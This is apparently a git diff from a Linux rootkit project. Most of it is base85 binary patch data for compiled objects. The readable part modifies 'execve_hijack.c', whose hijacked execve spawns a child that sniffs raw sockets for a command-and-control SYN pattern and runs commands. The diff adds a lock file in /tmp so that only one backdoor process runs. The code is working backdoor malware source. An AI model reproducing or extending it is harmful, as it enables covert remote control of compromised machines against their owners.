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 #include #include +#include +#include #include "lib/RawTCP.h" #include "../common/c&c.h" @@ -22,6 +24,8 @@ #include #include +#define LOCK_FILE "/tmp/rootlog" + char* getLocalIpAddress(){ char hostbuffer[256]; char* IPbuffer = calloc(256, sizeof(char)); @@ -65,13 +69,8 @@ char* execute_command(char* command){ return res; } -int hijacker_process_routine(int argc, char* argv[]){ - int fd = open("/tmp/rootlog", O_RDWR | O_CREAT | O_TRUNC, 0666); - if(fd<0){ - perror("Failed to open log file"); - //return -1; - } - +int hijacker_process_routine(int argc, char* argv[], int fd){ + //Lock the file to indicate we are already into the routine time_t rawtime; struct tm * timeinfo; @@ -98,7 +97,7 @@ int hijacker_process_routine(int argc, char* argv[]){ write(fd, "\n", 1); write(fd, "Sniffing...\n", 13); - + printf("Running hijacking process\n"); packet_t packet = rawsocket_sniff_pattern(CC_PROT_SYN); if(packet.ipheader == NULL){ write(fd, "Failed to open rawsocket\n", 1); @@ -149,6 +148,7 @@ int hijacker_process_routine(int argc, char* argv[]){ } } + flock(fd, LOCK_UN); close(fd); return 0; } @@ -177,6 +177,7 @@ int main(int argc, char* argv[], char *envp[]){ perror("Failed to execve()"); exit(-1); } + exit(0); } @@ -190,8 +191,23 @@ int main(int argc, char* argv[], char *envp[]){ if (pid == 0) { //Child process printf("I am the child with pid %d\n", (int) getpid()); + + //First of all check if the locking log file is locked, which indicates that the backdoor process is already running + int fd = open(LOCK_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666); + if(fd<0){ + perror("Failed to open lock file before entering hijacking routine"); + exit(-1); + } + if (flock(fd, LOCK_EX|LOCK_NB) == -1) { + if (errno == EWOULDBLOCK) { + perror("lock file was locked"); + } else { + perror("Error with the lockfile"); + } + exit(-1); + } + hijacker_process_routine(argc, argv, fd); printf("Child process is exiting\n"); - hijacker_process_routine(argc, argv); exit(0); } //Parent process. Call original hijacked command diff --git a/src/helpers/execve_hijack.o b/src/helpers/execve_hijack.o index 68eafa48d877a9b4edb9c83e03518a6492bffe88..6dd4147396c4433ee58d0a4d631401d690fabfe9 100644 GIT binary patch literal 9792 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 JTmJ3V|2Hx$_J;rf literal 9224 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